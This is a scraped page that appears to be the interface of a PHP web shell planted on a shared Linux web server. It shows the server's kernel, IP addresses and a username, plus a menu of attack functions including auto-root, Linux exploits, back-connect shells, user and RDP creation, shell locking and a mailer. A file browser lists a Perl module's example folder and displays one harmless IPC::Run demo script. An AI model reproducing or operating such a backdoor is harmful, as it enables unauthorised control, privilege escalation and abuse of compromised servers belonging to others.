Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libipc-run-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
abuse
[ DIR ]
drwxr-xr-x
factorial
1.67
KB
-rw-r--r--
factorial_pipe
864
B
-rw-r--r--
factorial_scalar
781
B
-rw-r--r--
run_daemon
346
B
-rw-r--r--
runsh
1.11
KB
-rw-r--r--
runsu
955
B
-rw-r--r--
synopsis_scripting
602
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : synopsis_scripting
#!/usr/bin/perl -w use strict; my @cat = qw( cat ); my ( $in_q, $out_q, $err_q ); use IPC::Run qw( start pump finish timeout ); # Incrementally read from / write to scalars. Note that $in_q # is a queue that is drained as it is used. $h is for "harness". my $h = start \@cat, \$in_q, \$out_q, \$err_q, timeout(10), debug => 1; $in_q .= "some input\n"; pump $h until $out_q =~ /input\n/g; $in_q .= "some more input\n"; pump $h until $out_q =~ /\G.*more input\n/; $in_q .= "some final input\n"; finish $h or die "cat returned $?"; warn $err_q if $err_q; print $out_q ; ## All of cat's output
Close